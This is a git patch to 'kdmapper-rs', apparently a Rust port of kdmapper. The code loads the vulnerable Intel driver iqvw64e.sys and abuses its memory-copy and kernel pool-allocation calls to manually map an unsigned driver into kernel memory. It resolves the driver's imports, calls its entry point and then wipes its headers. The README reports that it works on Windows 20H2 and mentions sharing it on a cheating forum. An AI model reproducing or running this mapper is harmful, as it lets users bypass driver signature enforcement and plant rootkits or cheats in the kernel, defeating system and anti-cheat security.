From c8c75c74579f2814ac7c99db6d4d0e5db52f9e96 Mon Sep 17 00:00:00 2001 From: Zor Date: Tue, 24 Aug 2021 15:23:32 +0200 Subject: [PATCH] Finished porting, code works, more cleanup soon. --- .gitignore | 1 + Cargo.toml | 2 + README.md | 8 +- img/fn.png | Bin 0 -> 7684 bytes src/main.rs | 47 ++++- src/mapper/mod.rs | 305 ++++++++++++++++++++++++++++++++ src/nt/mod.rs | 41 ++++- src/pe/mod.rs | 133 +++++++------- src/service/mod.rs | 38 ++-- src/util/mod.rs | 424 ++++++++++++++++++++++++++++----------------- 10 files changed, 744 insertions(+), 255 deletions(-) create mode 100644 img/fn.png create mode 100644 src/mapper/mod.rs diff --git a/.gitignore b/.gitignore index ea8c4bf..46f002b 100644 --- a/.gitignore +++ b/.gitignore @@ -1 +1,2 @@ /target +/src/mapper/driver.sys \ No newline at end of file diff --git a/Cargo.toml b/Cargo.toml index 4526290..6882f27 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -16,4 +16,6 @@ winapi = { version = "0.3", features = [ "winsvc", "libloaderapi", "ioapiset", + "fileapi", + "dbghelp", ] } diff --git a/README.md b/README.md index 1656512..365fd46 100644 --- a/README.md +++ b/README.md @@ -1,8 +1,14 @@ # kdmapper-rs Rust port of the popular kdmapper to manually map unloaded drivers in kernel-memory utilizing the vulnerable intel driver +# where is the driver? +I am 100% you have the driver somewhere, considering the fact it is a binary, I couldn't release the source to UC or any other site +if the repo contained binaries. So I removed it for that purpose. Note: It's location should be in `src/mapper/` with the name `driver.sys` + # warning -Currently still very much in development, I cannot guarantee ANY of this code will work. Good luck :) +Currently still very much in development, it runs on Windows 20H2 succesfully + +!image_info[](img/fn.png) # how to compile ``` diff --git a/img/fn.png b/img/fn.png new file mode 100644 index 0000000000000000000000000000000000000000..08084e05ecc82e50d4d591a7753161bb7a5a52f4 GIT binary patch literal 7684 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 literal 0 HcmV?d00001 diff --git a/src/main.rs b/src/main.rs index b62fe5f..88ec249 100644 --- a/src/main.rs +++ b/src/main.rs @@ -1,11 +1,52 @@ +use winapi::{um::{errhandlingapi::GetLastError, handleapi::INVALID_HANDLE_VALUE}}; + #[cfg(not(windows))] compile_error!("Can't compile, this is exclusive to Windows."); -pub mod util; +pub mod mapper; pub mod nt; -pub mod service; pub mod pe; +pub mod service; +pub mod util; fn main() { - println!("Hello, world!"); + let service = mapper::load_service("iqvw64e.sys"); + + if service.is_null() || service == INVALID_HANDLE_VALUE { + unsafe { + println!( + "Failed to create a handle to the service! Last error code: {}", + GetLastError() + ); + } + panic!("See logs for panic!") + } + + if mapper::load_image_into_kernel( + service, + "C:\\Users\\Zor\\source\\repos\\TestDriver\\x64\\Release\\TestDriver.sys".to_string(), + ) == 0 + { + unsafe { + println!( + "Failed to load image into kernel! Last error code: {}", + GetLastError() + ); + } + panic!("See logs for panic!") + } + + println!("Loaded image into kernel!"); + + if !mapper::unload_service(service, "iqvw64e.sys\0") { + unsafe { + println!( + "Failed to unload service! Last error code: {}", + GetLastError() + ); + } + panic!("See logs for panic!") + } + + println!("Unloaded service!"); } diff --git a/src/mapper/mod.rs b/src/mapper/mod.rs new file mode 100644 index 0000000..9928d06 --- /dev/null +++ b/src/mapper/mod.rs @@ -0,0 +1,305 @@ +use core::panic; +use std::{intrinsics::transmute}; + +use winapi::{ + shared::{ + ntdef::NTSTATUS, + }, + um::{ + errhandlingapi::GetLastError, + fileapi::{CreateFileA, OPEN_EXISTING}, + handleapi::CloseHandle, + memoryapi::{VirtualAlloc, VirtualFree}, + winnt::{ + FILE_ATTRIBUTE_NORMAL, GENERIC_READ, GENERIC_WRITE, HANDLE, IMAGE_NT_HEADERS, IMAGE_NT_OPTIONAL_HDR64_MAGIC, + IMAGE_REL_BASED_DIR64, MEM_COMMIT, MEM_RELEASE, MEM_RESERVE, PAGE_READWRITE, PIMAGE_SECTION_HEADER, + }, + }, +}; + +use crate::{pe, service, util}; + +pub fn load_service(name: &str) -> HANDLE { + unsafe { + let temp_path = util::get_temporary_folder_path(); + + let mut driver_path = temp_path.as_os_str().to_os_string(); + driver_path.push(name); + + // export driver from buffer + if !util::create_driver_file(&driver_path.to_str().expect("Couldn't conver to Rust str!").to_string()) { + println!( + "Failed to create service file... return code: {}", + GetLastError() + ); + panic!("See last output for more info."); + } + + if !util::create_and_start_service(&driver_path.to_str().expect("Couldn't conver to Rust str!").to_string()) { + println!( + "Failed to create or start service... return code: {}", + GetLastError() + ); + panic!("See last output for more info."); + } + + let res = CreateFileA( + "\\\\.\\Nal\0".as_ptr() as _, + GENERIC_READ | GENERIC_WRITE, + 0, + std::ptr::null_mut(), + OPEN_EXISTING, + FILE_ATTRIBUTE_NORMAL, + std::ptr::null_mut(), + ); + + res + } +} + +pub fn unload_service(service: HANDLE, name: &str) -> bool { + unsafe { + CloseHandle(service); + util::delete_and_stop_service(name); + + let path_to_driver = util::get_path_to_driver(); + + match std::fs::remove_file(path_to_driver) { + Ok(_) => (), + Err(e) => println!("Failed to delete driver after unloading... {}", e), + } + + true + } +} + +pub fn relocate_image_by_delta(relocations: Vec, delta: u64) { + relocations.iter().for_each(|relocation| { + for i in 0..relocation.count { + let _type = unsafe { relocation.item.offset(i as isize).read() } >> 12; + let offset = unsafe { relocation.item.offset(i as isize).read() } & 0xFFF; + + if _type == IMAGE_REL_BASED_DIR64 { + unsafe { + *((relocation.address + offset as u64) as *mut u64) += delta; + }; + } + } + }) +} + +pub fn resolve_imports(service: HANDLE, mut imports: Vec) -> bool { + unsafe { + imports.iter_mut().for_each(|import_info| { + let current_import_address = + util::get_kernel_module_address(import_info.name.to_owned()); + + if current_import_address == 0 { + println!( + "Required module {} was not found! Last error code: {}", + import_info.name, + GetLastError() + ); + panic!("See last logs for panic!"); + } + + // import_info.function_info.iter_mut().for_each(|function_info| { + // let function_address = util::get_kernel_module_export(service, current_import_address as _, &function_info.name); + + // if function_address == 0 { + // println!("Failed to resolve import {} from {}! Last error code: {}", function_info.name, import_info.name, GetLastError()); + // panic!("See last logs for panic!"); + // } + + // function_info.address = function_address as _; + // }) + // ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ lol! + + for function_info in &mut import_info.function_info { + let function_address = util::get_kernel_module_export( + service, + current_import_address as _, + &function_info.name, + ); + + if function_address == 0 { + println!( + "Failed to resolve import {} from {}! Last error code: {}", + function_info.name, + import_info.name, + GetLastError() + ); + panic!("See last logs for panic!"); + } + + function_info.get_address().write(function_address); + } + }); + } + true +} + +pub fn image_first_section(header: *mut IMAGE_NT_HEADERS) -> PIMAGE_SECTION_HEADER { + unsafe { + let field_offset = + || (&(*header).OptionalHeader as *const _ as usize - header as usize) as usize; + + ((header as usize + field_offset()) + (*header).FileHeader.SizeOfOptionalHeader as usize) + as PIMAGE_SECTION_HEADER + } +} + +pub fn load_image_into_kernel(service: HANDLE, file: String) -> u64 { + unsafe { + let mut buffer = Vec::new(); + + if !util::read_file_to_memory(&file, &mut buffer) { + println!( + "Failed to read file to memory! Last error code: {}", + GetLastError() + ); + panic!("See last logs for panic!"); + } + + let image_headers = pe::get_nt_headers(buffer.as_mut_ptr()); + + if image_headers.is_null() { + println!("Invalid image headers! Last error code: {}", GetLastError()); + panic!("See last logs for panic!"); + } + + if (*image_headers).OptionalHeader.Magic != IMAGE_NT_OPTIONAL_HDR64_MAGIC { + println!("Driver is not 64-bit! Last error code: {}", GetLastError()); + panic!("See last logs for panic!") + } + + let image_size = (*image_headers).OptionalHeader.SizeOfImage; + + if image_size == 0 { + println!( + "Invalid driver image size! Last error code: {}", + GetLastError() + ); + panic!("See last logs for panic!") + } + + let local_image_memory = VirtualAlloc( + std::ptr::null_mut(), + image_size as _, + MEM_RESERVE | MEM_COMMIT, + PAGE_READWRITE, + ); + + if local_image_memory.is_null() { + println!( + "Failed to allocate local image memory! Last error code: {}", + GetLastError() + ); + panic!("See last logs for panic!") + } + + println!("Local driver memory allocated at: {:p}", local_image_memory); + + std::ptr::copy( + buffer.as_ptr(), + local_image_memory as _, + (*image_headers).OptionalHeader.SizeOfHeaders as usize, + ); + println!("Copied driver headers into local image memory"); + + let current_image_section = image_first_section(image_headers); + + for i in 0..(*image_headers).FileHeader.NumberOfSections { + let local_section = (local_image_memory as usize + + (*current_image_section.offset(i as isize)).VirtualAddress as usize) + as *mut i8; + std::ptr::copy( + (buffer.as_ptr() as usize + + (*current_image_section.offset(i as isize)).PointerToRawData as usize) + as *const i8, + local_section, + (*current_image_section.offset(i as isize)).SizeOfRawData as usize, + ) + } + + println!("Copied image sections into local image memory."); + + let kernel_image_memory = service::allocate_pool(service, 0, image_size as _); + + if kernel_image_memory == 0 { + println!( + "Failed to allocate kernel image memory! Last error code: {}", + GetLastError() + ); + panic!("See last logs for panic!") + } + + println!( + "Kernel image memory allocated at {:p}", + kernel_image_memory as *mut i8 + ); + + relocate_image_by_delta( + pe::get_relocations(local_image_memory as _).expect("Couldn't get relocations"), + kernel_image_memory - (*image_headers).OptionalHeader.ImageBase, + ); + + let imports = pe::get_imports(local_image_memory as _).expect("Couldn't get imports!"); + + if !resolve_imports(service, imports) { + println!( + "Failed to _resolve_ imports! Last error code: {}", + GetLastError() + ); + panic!("See last logs for panic!") + } + + if !service::write_memory( + service, + kernel_image_memory, + local_image_memory as _, + image_size as _, + ) { + println!( + "Failed to write local image to kernel image! Last error code: {}", + GetLastError() + ); + panic!("See last logs for panic!"); + } + + VirtualFree(local_image_memory, 0, MEM_RELEASE); + + let entry_point = + kernel_image_memory + (*image_headers).OptionalHeader.AddressOfEntryPoint as u64; + println!( + "Calling image entry point at {:p}", + entry_point as *const i8 + ); + + let mut status: NTSTATUS = 0; + + if !util::call_kernel_fn( + service, + &mut |entry_point_address| { + status = transmute::<*mut usize, unsafe extern "system" fn() -> NTSTATUS>( + entry_point_address, + )(); + true + }, + entry_point, + ) { + println!( + "Failed to call image entry point! Last error code: {}", + GetLastError() + ); + } + + service::set_memory( + service, + kernel_image_memory, + 0, + (*image_headers).OptionalHeader.SizeOfHeaders as _, + ); + return kernel_image_memory; + } +} diff --git a/src/nt/mod.rs b/src/nt/mod.rs index 5b95bdb..a7c24a6 100644 --- a/src/nt/mod.rs +++ b/src/nt/mod.rs @@ -1,6 +1,13 @@ use std::intrinsics::transmute; -use winapi::{shared::{minwindef::{FARPROC, ULONG}, ntdef::{HANDLE, NTSTATUS, PVOID, UCHAR, USHORT}}, um::libloaderapi::{GetModuleHandleA, GetProcAddress, LoadLibraryA}}; +use winapi::{ + ctypes::c_void, + shared::{ + minwindef::{DWORD, FARPROC, ULONG}, + ntdef::{HANDLE, NTSTATUS, PULONG, PVOID, UCHAR, USHORT}, + }, + um::libloaderapi::{GetModuleHandleA, GetProcAddress, LoadLibraryA}, +}; #[repr(C)] pub struct RtlProcessModuleInformation { @@ -9,7 +16,7 @@ pub struct RtlProcessModuleInformation { pub image_base: PVOID, pub image_size: ULONG, pub flags: ULONG, - pub load_order_index: USHORT, + pub load_order_index: USHORT, pub init_order_index: USHORT, pub load_count: USHORT, pub offset_to_file_name: USHORT, @@ -24,11 +31,20 @@ pub struct RtlProcessModules { pub const STATUS_INFO_LENGHT_MISMATCH: u32 = 0xC0000004; -pub fn query_system_information(buffer: &mut usize, size: &mut u64) -> NTSTATUS { - let mut nt = unsafe { GetModuleHandleA("ntdll.dll".as_ptr() as *const i8) }; +pub struct QuerySystemInformationReturnValue { + pub buffer: *mut c_void, + pub buffer_size: DWORD, + pub result: NTSTATUS, +} + +pub fn query_system_information( + buffer: *mut c_void, + out_buffer_size: &mut DWORD, +) -> QuerySystemInformationReturnValue { + let mut nt = unsafe { GetModuleHandleA("ntdll.dll\0".as_ptr() as _) }; if nt.is_null() { - nt = unsafe { LoadLibraryA("ntdll.dll".as_ptr() as *const i8) }; + nt = unsafe { LoadLibraryA("ntdll.dll\0".as_ptr() as _) }; if nt.is_null() { panic!("Couldn't get handle to NTDLL.dll"); @@ -36,17 +52,26 @@ pub fn query_system_information(buffer: &mut usize, size: &mut u64) -> NTSTATUS } let query_system_info_address = - unsafe { GetProcAddress(nt, "NtQuerySystemInformation".as_ptr() as *const i8) }; + unsafe { GetProcAddress(nt, "NtQuerySystemInformation\0".as_ptr() as *const i8) }; if query_system_info_address.is_null() { panic!("Couldn't find NtQuerySystemInformation"); } let query_system_info = unsafe { - transmute:: NTSTATUS>( + transmute:: NTSTATUS>( query_system_info_address, ) }; - unsafe { query_system_info(11, buffer as _, *size, size) } + let mut buffer_size: DWORD = *out_buffer_size; + + let result = unsafe { query_system_info(11, buffer, buffer_size, &mut buffer_size as *mut _) }; + *out_buffer_size = buffer_size; + + QuerySystemInformationReturnValue { + buffer, + buffer_size, + result, + } } diff --git a/src/pe/mod.rs b/src/pe/mod.rs index 6842b21..3321712 100644 --- a/src/pe/mod.rs +++ b/src/pe/mod.rs @@ -8,26 +8,26 @@ use winapi::um::winnt::{ #[derive(Default)] pub struct FunctionImportInfo { - name: String, - address: usize, // NOTE: apparently a pointer to an adress (so void*) + pub name: String, + pub address: usize, // NOTE: apparently a pointer to an adress (so void*) } impl FunctionImportInfo { - pub fn get_address(&self) -> *const u64 { + pub fn get_address(&self) -> *mut u64 { self.address as _ } } pub struct RelocationInfo { - address: u64, - item: *const u16, - count: i32, + pub address: u64, + pub item: *const u16, + pub count: i32, } #[derive(Default)] pub struct ImportInfo { - name: String, - function_info: Vec, + pub name: String, + pub function_info: Vec, } pub fn get_nt_headers(base: *mut u8) -> PIMAGE_NT_HEADERS64 { @@ -117,66 +117,67 @@ pub fn get_imports(base: *mut u8) -> Option> { return None; } - let mut result = vec![]; + unsafe { + let import_va = (*nt_headers).OptionalHeader.DataDirectory + [IMAGE_DIRECTORY_ENTRY_IMPORT as usize] + .VirtualAddress; - let mut current_import_descriptor = unsafe { - transmute::( - base as usize - + (*nt_headers).OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT as usize] - .VirtualAddress as usize, - ) - }; - - while unsafe { (*current_import_descriptor).FirstThunk } != 0 { - let mut info = ImportInfo::default(); - - info.name = unsafe { - CStr::from_ptr(transmute::( - base as usize + (*current_import_descriptor).Name as usize, - )) - .to_str() - .unwrap_or_default() - .to_string() - }; - let mut current_first_thunk = unsafe { - transmute::( - base as usize + (*current_import_descriptor).FirstThunk as usize, - ) - }; - let mut current_original_first_thunks = unsafe { - transmute::( - base as usize + *(*current_import_descriptor).u.OriginalFirstThunk() as usize, - ) - }; - - while unsafe { *(*current_original_first_thunks).u1.Function() != 0 } { - - let mut function_info: FunctionImportInfo = FunctionImportInfo::default(); - - let thunk_data = unsafe { - transmute::( - base as usize + *(*current_original_first_thunks).u1.AddressOfData() as usize, - ) - }; - - function_info.name = unsafe { - CStr::from_ptr((*thunk_data).Name.as_ptr()) - .to_str() - .unwrap_or_default() - .to_string() - }; - - function_info.address = unsafe { &*(*current_first_thunk).u1.Function() } as *const _ as usize; - - info.function_info.push(function_info); - - current_first_thunk = unsafe { current_first_thunk.offset(1) }; - current_original_first_thunks = unsafe { current_first_thunk.offset(1) }; + if import_va == 0 { + return None; } - result.push(info); - current_import_descriptor = unsafe { current_import_descriptor.offset(1) }; - } + let mut vec_imports = Vec::new(); - Some(result) + let mut current_import_descriptor = + (base as usize + import_va as usize) as PIMAGE_IMPORT_DESCRIPTOR; + + while (*current_import_descriptor).FirstThunk != 0 { + let mut import_info = ImportInfo::default(); + + import_info.name = CStr::from_ptr( + (base as usize + (*current_import_descriptor).Name as usize) as *const i8, + ) + .to_str() + .expect("Couldn't convert to str") + .to_string(); + + let mut current_first_thunk = (base as usize + + (*current_import_descriptor).FirstThunk as usize) + as PIMAGE_THUNK_DATA64; + let mut current_original_first_thunk = (base as usize + + *(*current_import_descriptor).u.OriginalFirstThunk() as usize) + as PIMAGE_THUNK_DATA64; + + while (*(*current_original_first_thunk).u1.Function()) != 0 { + let mut import_function_data = FunctionImportInfo::default(); + + let thunk_data = (base as usize + + *(*current_original_first_thunk).u1.AddressOfData() as usize) + as PIMAGE_IMPORT_BY_NAME; + + import_function_data.name = CStr::from_ptr((*thunk_data).Name.as_ptr()) + .to_str() + .expect("couldn't convert to str") + .to_string(); + import_function_data.address = + (*current_first_thunk).u1.Function_mut() as *mut u64 as usize; + + import_info.function_info.push(import_function_data); + + current_original_first_thunk = (current_original_first_thunk as usize + + std::mem::size_of::()) + as PIMAGE_THUNK_DATA64; + current_first_thunk = (current_first_thunk as usize + + std::mem::size_of::()) + as PIMAGE_THUNK_DATA64; + } + + vec_imports.push(import_info); + current_import_descriptor = (current_import_descriptor as usize + + std::mem::size_of::()) + as PIMAGE_IMPORT_DESCRIPTOR; + } + + Some(vec_imports) + } } diff --git a/src/service/mod.rs b/src/service/mod.rs index 8323f32..79ed73d 100644 --- a/src/service/mod.rs +++ b/src/service/mod.rs @@ -3,7 +3,7 @@ use std::intrinsics::transmute; use winapi::{ ctypes::c_void, - shared::minwindef::DWORD, + shared::{basetsd::SIZE_T, minwindef::DWORD}, um::{ioapiset::DeviceIoControl, winnt::HANDLE}, }; @@ -68,7 +68,7 @@ pub fn copy_memory(service: HANDLE, destination: u64, source: u64, size: u64) -> return false; } - let mut buffer = CopyMemoryBufferInfo::default(); + let mut buffer: CopyMemoryBufferInfo = unsafe { core::mem::zeroed() }; buffer.case_number = 0x33; buffer.source = source; buffer.destination = destination; @@ -206,16 +206,20 @@ pub fn unmap_io_space(service: HANDLE, address: u64, size: u32) -> bool { } } -pub fn read_memory(service: HANDLE, address: u64, buffer: *mut usize, size: u64) -> bool { - copy_memory(service, buffer as _, address, size) +pub fn read_memory(service: HANDLE, address: u64, buffer: u64, size: u64) -> bool { + copy_memory(service, buffer, address, size) } -pub fn write_memory(service: HANDLE, address: u64, buffer: *mut usize, size: u64) -> bool { - copy_memory(service, address, buffer as _, size) +pub fn write_memory(service: HANDLE, 